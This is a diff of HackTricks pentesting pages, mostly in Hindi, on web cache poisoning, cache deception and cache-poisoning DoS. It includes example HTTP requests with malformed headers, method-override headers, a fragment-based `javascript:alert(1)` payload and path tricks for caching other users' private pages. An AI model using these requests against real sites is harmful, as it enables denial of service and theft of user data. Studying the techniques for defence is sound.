URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL को एक्सेस करने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln जेम्स केटल ने Github वेबसाइट पर पाया:
|
||||
URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL तक पहुँचने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln जेम्स केटल ने Github वेबसाइट पर पाया:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
|
@ -142,13 +159,13 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
|
|||
|
||||
### Parameter Cloacking
|
||||
|
||||
उदाहरण के लिए, **parameters** को ruby सर्वरों में **`;`** अक्षर का उपयोग करके **`&`** के बजाय अलग करना संभव है। इसका उपयोग बिना कुंजी वाले पैरामीटर मानों को कुंजी वाले में डालने और उनका दुरुपयोग करने के लिए किया जा सकता है।
|
||||
उदाहरण के लिए, यह **parameters** को ruby सर्वरों में **`;`** अक्षर का उपयोग करके **`&`** के बजाय अलग करने के लिए संभव है। इसका उपयोग बिना कुंजी वाले पैरामीटर मानों को कुंजी वाले में डालने और उनका दुरुपयोग करने के लिए किया जा सकता है।
|
||||
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
|
||||
|
||||
यहां जानें कि कैसे [Cache Poisoning हमले HTTP Request Smuggling का दुरुपयोग करके किए जाते हैं](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)।
|
||||
यहां जानें कि कैसे [Cache Poisoning हमलों को HTTP Request Smuggling का दुरुपयोग करके किया जाता है](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)।
|
||||
|
||||
### Automated testing for Web Cache Poisoning
|
||||
|
||||
|
@ -156,23 +173,11 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
|||
|
||||
Example usage: `wcvs -u example.com`
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) का उपयोग करें ताकि आप दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **workflows** को आसानी से बना और **स्वचालित** कर सकें।\
|
||||
आज ही एक्सेस प्राप्त करें:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||
|
||||
|
||||
|
||||
## Vulnerable Examples
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS ने URL के अंदर के अंश को बिना हटाए आगे बढ़ाया और केवल होस्ट, पथ और क्वेरी का उपयोग करके कैश कुंजी उत्पन्न की (अंश की अनदेखी करते हुए)। इसलिए अनुरोध `/#/../?r=javascript:alert(1)` को बैकएंड पर `/#/../?r=javascript:alert(1)` के रूप में भेजा गया और कैश कुंजी में इसका पेलोड नहीं था, केवल होस्ट, पथ और क्वेरी।
|
||||
ATS ने URL के अंदर फ़्रैगमेंट को बिना हटाए आगे बढ़ाया और केवल होस्ट, पथ और क्वेरी का उपयोग करके कैश कुंजी उत्पन्न की (फ़्रैगमेंट को अनदेखा करते हुए)। इसलिए अनुरोध `/#/../?r=javascript:alert(1)` को बैकएंड पर `/#/../?r=javascript:alert(1)` के रूप में भेजा गया और कैश कुंजी में इसका पेलोड नहीं था, केवल होस्ट, पथ और क्वेरी।
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
|
@ -180,7 +185,7 @@ ATS ने URL के अंदर के अंश को बिना हट
|
|||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **header `x-http-method-override`** का समर्थन करते हैं। इसलिए यह संभव था कि हेडर `x-http-method-override: HEAD` भेजा जाए और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त किया जाए। यह `PURGE` विधि का भी समर्थन कर सकता था।
|
||||
GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए यह संभव था कि हेडर `x-http-method-override: HEAD` भेजा जाए और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त किया जाए। यह `PURGE` विधि का भी समर्थन कर सकता था।
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
|
@ -188,11 +193,11 @@ Ruby on Rails अनुप्रयोगों में, Rack मिडलव
|
|||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया था। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुंचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।
|
||||
Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया था। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुँचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
कैश अक्सर कैश कुंजी में विशिष्ट GET पैरामीटर शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish अनुरोधों में `size` पैरामीटर को कैश करता है। हालाँकि, यदि पैरामीटर का URL-कोडित संस्करण (जैसे, `siz%65`) भी एक गलत मान के साथ भेजा गया, तो कैश कुंजी सही `size` पैरामीटर का उपयोग करके बनाई जाएगी। फिर भी, बैकएंड URL-कोडित पैरामीटर में मान को संसाधित करेगा। दूसरे `size` पैरामीटर को URL-कोडिंग करने से इसे कैश द्वारा छोड़ दिया गया लेकिन बैकएंड द्वारा उपयोग किया गया। इस पैरामीटर को 0 का मान असाइन करने से कैशेबल 400 Bad Request त्रुटि उत्पन्न हुई।
|
||||
कैश अक्सर कैश कुंजी में विशिष्ट GET पैरामीटर शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish अनुरोधों में `size` पैरामीटर को कैश करता है। हालाँकि, यदि पैरामीटर का URL-encoded संस्करण (जैसे, `siz%65`) भी एक गलत मान के साथ भेजा गया, तो कैश कुंजी सही `size` पैरामीटर का उपयोग करके बनाई जाएगी। फिर भी, बैकएंड URL-encoded पैरामीटर में मान को संसाधित करेगा। दूसरे `size` पैरामीटर को URL-encode करने से इसे कैश द्वारा छोड़ दिया गया लेकिन बैकएंड द्वारा उपयोग किया गया। इस पैरामीटर को 0 का मान असाइन करने से कैशेबल 400 Bad Request त्रुटि उत्पन्न हुई।
|
||||
|
||||
### User Agent Rules
|
||||
|
||||
|
@ -200,7 +205,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
|
|||
|
||||
### Illegal Header Fields
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को आगे बढ़ाता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक exploitable पैटर्न की पहचान की गई थी जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैशेबल 400 Bad Request त्रुटि उत्पन्न होती है।
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। निर्दिष्ट **tchar** रेंज के बाहर वर्णों वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को आगे बढ़ाता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक exploitable पैटर्न पहचाना गया था जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैशेबल 400 Bad Request त्रुटि उत्पन्न होती है।
|
||||
|
||||
### Finding new headers
|
||||
|
||||
|
@ -208,9 +213,9 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
|
|||
|
||||
## Cache Deception
|
||||
|
||||
Cache Deception का लक्ष्य ग्राहकों को **ऐसे संसाधनों को लोड करने के लिए मजबूर करना है जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं**।
|
||||
Cache Deception का लक्ष्य है कि ग्राहक **उन संसाधनों को लोड करें जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं**।
|
||||
|
||||
सबसे पहले यह ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **कैश में सहेजे जाने के लिए कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुंचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **extension** को देखता है। लेकिन, यदि **application** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **replaying** कर रहा है, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं।
|
||||
सबसे पहले, ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **सहेजे जाने** के लिए **कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुँचते हैं, तो कैश शायद प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **extension** को देखता है। लेकिन, यदि **application** _www.example.com/profile.php_ में संग्रहीत **sensitive** उपयोगकर्ता सामग्री के साथ **replaying** कर रहा है, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं।
|
||||
|
||||
परीक्षण करने के लिए अन्य चीजें:
|
||||
|
||||
|
@ -223,11 +228,11 @@ Cache Deception का लक्ष्य ग्राहकों को **ऐ
|
|||
|
||||
एक और बहुत स्पष्ट उदाहरण इस लेख में पाया जा सकता है: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
उदाहरण में, यह समझाया गया है कि यदि आप _http://www.example.com/home.php/non-existent.css_ जैसी गैर-मौजूद पृष्ठ को लोड करते हैं, तो _http://www.example.com/home.php_ (**उपयोगकर्ता की संवेदनशील जानकारी के साथ**) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।\
|
||||
फिर, **attacker** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुंच सकता है और पहले पहुंचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है।
|
||||
फिर, **attacker** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुँच सकता है और पहले पहुँचने वाले उपयोगकर्ताओं की **confidential information** देख सकता है।
|
||||
|
||||
ध्यान दें कि **cache proxy** को फ़ाइलों को **extension** के आधार पर **cache** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए (_.css_) और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार।
|
||||
ध्यान दें कि **cache proxy** को फ़ाइलों को **extension** के आधार पर **cache** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए (_.css_) और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` mime प्रकार।
|
||||
|
||||
यहां जानें कि कैसे [Cache Deceptions हमले HTTP Request Smuggling का दुरुपयोग करके किए जाते हैं](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)।
|
||||
यहां जानें कि कैसे [Cache Deceptions हमलों को HTTP Request Smuggling का दुरुपयोग करके किया जाता है](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)।
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
|
@ -245,21 +250,21 @@ Cache Deception का लक्ष्य ग्राहकों को **ऐ
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) का उपयोग करें ताकि आप दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **workflows** को आसानी से बना और **स्वचालित** कर सकें।\
|
||||
आज ही एक्सेस प्राप्त करें:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**subscription plans**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Cache Poisoning to DoS
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -29,7 +29,7 @@ X-Oversize-Hedear:Big-Value-000000000000000
|
|||
```
|
||||
* **HTTP मेटा कैरेक्टर (HMC) और अप्रत्याशित मान**
|
||||
|
||||
एक हेडर भेजें जिसमें कुछ **हानिकारक मेटा कैरेक्टर** जैसे `\n` और `\r` शामिल हों। हमले के सफल होने के लिए आपको पहले कैश को बायपास करना होगा।
|
||||
एक हेडर भेजें जिसमें कुछ **हानिकारक मेटा कैरेक्टर** जैसे और शामिल हों। हमले के सफल होने के लिए आपको पहले कैश को बायपास करना होगा।
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: redacted.com
|
||||
|
@ -37,7 +37,7 @@ X-Meta-Hedear:Bad Chars\n \r
|
|||
```
|
||||
A badly configured header could be just `\:` as a header.
|
||||
|
||||
यह भी काम कर सकता है यदि अप्रत्याशित मान भेजे जाएं, जैसे अप्रत्याशित Content-Type:
|
||||
यह भी काम कर सकता है यदि अप्रत्याशित मान भेजे जाते हैं, जैसे अप्रत्याशित Content-Type:
|
||||
```
|
||||
GET /anas/repos HTTP/2
|
||||
Host: redacted.com
|
||||
|
@ -58,7 +58,7 @@ Invalid Header
|
|||
```
|
||||
* **HTTP Method Override Attack (HMO)**
|
||||
|
||||
यदि सर्वर `X-HTTP-Method-Override`, `X-HTTP-Method` या `X-Method-Override` जैसे हेडर के साथ HTTP विधि को बदलने का समर्थन करता है। तो एक वैध पृष्ठ का अनुरोध करना संभव है, विधि को बदलकर ताकि सर्वर इसका समर्थन न करे और एक खराब प्रतिक्रिया कैश हो जाए:
|
||||
यदि सर्वर `X-HTTP-Method-Override`, `X-HTTP-Method` या `X-Method-Override` जैसे हेडर के साथ HTTP विधि को बदलने का समर्थन करता है। तो एक वैध पृष्ठ को अनुरोध करना संभव है, विधि को बदलकर ताकि सर्वर इसका समर्थन न करे और एक खराब प्रतिक्रिया कैश हो जाए:
|
||||
```
|
||||
GET /blogs HTTP/1.1
|
||||
Host: redacted.com
|
||||
|
@ -94,7 +94,7 @@ CF-Cache-Status: miss
|
|||
```
|
||||
* **होस्ट हेडर केस सामान्यीकरण**
|
||||
|
||||
होस्ट हेडर को केस-संवेदनशील नहीं होना चाहिए लेकिन कुछ वेबसाइटें इसे लोअरकेस में अपेक्षित करती हैं, यदि यह ऐसा नहीं है तो एक त्रुटि लौटाती हैं:
|
||||
होस्ट हेडर को केस संवेदनशील नहीं होना चाहिए लेकिन कुछ वेबसाइटें इसे लोअरकेस में अपेक्षित करती हैं, यदि यह नहीं है तो एक त्रुटि लौटाती हैं:
|
||||
```
|
||||
GET /img.png HTTP/1.1
|
||||
Host: Cdn.redacted.com
|
||||
|
@ -137,8 +137,8 @@ Cache: hit
|
|||
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -146,7 +146,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PR सबमिट करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -0,0 +1,79 @@
|
|||
# Cache Poisoning via URL discrepancies
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
यह उस तकनीकों का सारांश है जो [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) में प्रस्तावित की गई हैं ताकि **कैश प्रॉक्सी और वेब सर्वर के बीच के भिन्नताओं का दुरुपयोग करते हुए कैश पॉइज़निंग हमले किए जा सकें।**
|
||||
|
||||
{% hint style="info" %}
|
||||
इस हमले का लक्ष्य **कैश सर्वर को यह सोचने के लिए मजबूर करना है कि एक स्थिर संसाधन लोड किया जा रहा है** ताकि यह इसे कैश करे जबकि कैश सर्वर पथ का एक भाग कैश कुंजी के रूप में संग्रहीत करता है लेकिन वेब सर्वर एक अन्य पथ को हल करता है। वेब सर्वर वास्तविक पथ को हल करेगा जो एक गतिशील पृष्ठ को लोड करेगा (जो उपयोगकर्ता के बारे में संवेदनशील जानकारी, XSS जैसे दुर्भावनापूर्ण पेलोड या हमलावर की वेबसाइट से एक JS फ़ाइल लोड करने के लिए पुनर्निर्देशित कर सकता है)।
|
||||
{% endhint %}
|
||||
|
||||
## Delimiters
|
||||
|
||||
**URL delimiters** फ्रेमवर्क और सर्वर के अनुसार भिन्न होते हैं, जो यह प्रभावित करते हैं कि अनुरोध कैसे रूट किए जाते हैं और प्रतिक्रियाएँ कैसे संभाली जाती हैं। कुछ सामान्य मूल delimiters हैं:
|
||||
|
||||
* **सेमीकोलन**: स्प्रिंग में मैट्रिक्स वेरिएबल के लिए उपयोग किया जाता है (जैसे `/hello;var=a/world;var1=b;var2=c` → `/hello/world`)।
|
||||
* **डॉट**: रूबी ऑन रेल्स में प्रतिक्रिया प्रारूप निर्दिष्ट करता है (जैसे `/MyAccount.css` → `/MyAccount`)
|
||||
* **नल बाइट**: OpenLiteSpeed में पथों को संक्षिप्त करता है (जैसे `/MyAccount%00aaa` → `/MyAccount`)।
|
||||
* **न्यूलाइन बाइट**: Nginx में URL घटकों को अलग करता है (जैसे `/users/MyAccount%0aaaa` → `/account/MyAccount`)।
|
||||
|
||||
अन्य विशिष्ट delimiters इस प्रक्रिया का पालन करते हुए पाए जा सकते हैं:
|
||||
|
||||
* **चरण 1**: गैर-कैश करने योग्य अनुरोधों की पहचान करें और यह देखने के लिए उनका उपयोग करें कि संभावित delimiters वाले URLs को कैसे संभाला जाता है।
|
||||
* **चरण 2**: पथों में यादृच्छिक प्रत्यय जोड़ें और यह निर्धारित करने के लिए सर्वर की प्रतिक्रिया की तुलना करें कि क्या कोई वर्ण delimiter के रूप में कार्य करता है।
|
||||
* **चरण 3**: संभावित delimiters को यादृच्छिक प्रत्यय से पहले पेश करें ताकि देखें कि क्या प्रतिक्रिया बदलती है, जो delimiter के उपयोग को इंगित करती है।
|
||||
|
||||
## Normalization & Encodings
|
||||
|
||||
* **उद्देश्य**: कैश और मूल सर्वरों में URL पार्सर URLs को सामान्यीकृत करते हैं ताकि एंडपॉइंट मैपिंग और कैश कुंजी के लिए पथ निकाले जा सकें।
|
||||
* **प्रक्रिया**: पथ delimiters की पहचान करता है, पथ को निकालता है और सामान्यीकृत करता है, वर्णों को डिकोड करके और डॉट-सेगमेंट को हटा देता है।
|
||||
|
||||
### **Encodings**
|
||||
|
||||
विभिन्न HTTP सर्वर और प्रॉक्सी जैसे Nginx, Node, और CloudFront delimiters को अलग-अलग डिकोड करते हैं, जिससे CDNs और मूल सर्वरों के बीच असंगतता उत्पन्न होती है जिसे शोषित किया जा सकता है। उदाहरण के लिए, यदि वेब सर्वर इस परिवर्तन को करता है `/myAccount%3Fparam` → `/myAccount?param` लेकिन कैश सर्वर कुंजी के रूप में पथ `/myAccount%3Fparam` को रखता है, तो एक असंगतता है। 
|
||||
|
||||
इन असंगतताओं की जांच करने का एक तरीका यह है कि पथ को बिना किसी एन्कोडिंग के लोड करने के बाद विभिन्न वर्णों को URL एन्कोडिंग के साथ अनुरोध भेजें और जांचें कि क्या एन्कोडेड पथ की प्रतिक्रिया कैश की गई प्रतिक्रिया से आई थी।
|
||||
|
||||
### डॉट सेगमेंट
|
||||
|
||||
जहाँ डॉट शामिल होते हैं, वहाँ पथ सामान्यीकरण भी कैश पॉइज़निंग हमलों के लिए बहुत दिलचस्प है। उदाहरण के लिए, `/static/../home/index` या `/aaa..\home/index`, कुछ कैश सर्वर इन पथों को उनके साथ कुंजी के रूप में कैश करेंगे जबकि अन्य पथ को हल करेंगे और `/home/index` को कैश कुंजी के रूप में उपयोग करेंगे।\
|
||||
जैसे पहले, इस प्रकार के अनुरोध भेजना और यह जांचना कि क्या प्रतिक्रिया कैश से प्राप्त की गई थी, यह पहचानने में मदद करता है कि क्या `/home/index` के लिए प्रतिक्रिया वही है जो उन पथों के अनुरोध किए जाने पर भेजी गई थी।
|
||||
|
||||
## Static Resources
|
||||
|
||||
कई कैश सर्वर हमेशा एक प्रतिक्रिया को कैश करेंगे यदि इसे स्थिर के रूप में पहचाना गया। यह इस कारण हो सकता है:
|
||||
|
||||
* **एक्सटेंशन**: Cloudflare हमेशा निम्नलिखित एक्सटेंशन वाले फ़ाइलों को कैश करेगा: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
|
||||
* एक कैश को गतिशील प्रतिक्रिया संग्रहीत करने के लिए मजबूर करना संभव है एक delimiter और एक स्थिर एक्सटेंशन का उपयोग करके जैसे `/home$image.png` का अनुरोध `/home$image.png` को कैश करेगा और मूल सर्वर `/home` के साथ प्रतिक्रिया देगा
|
||||
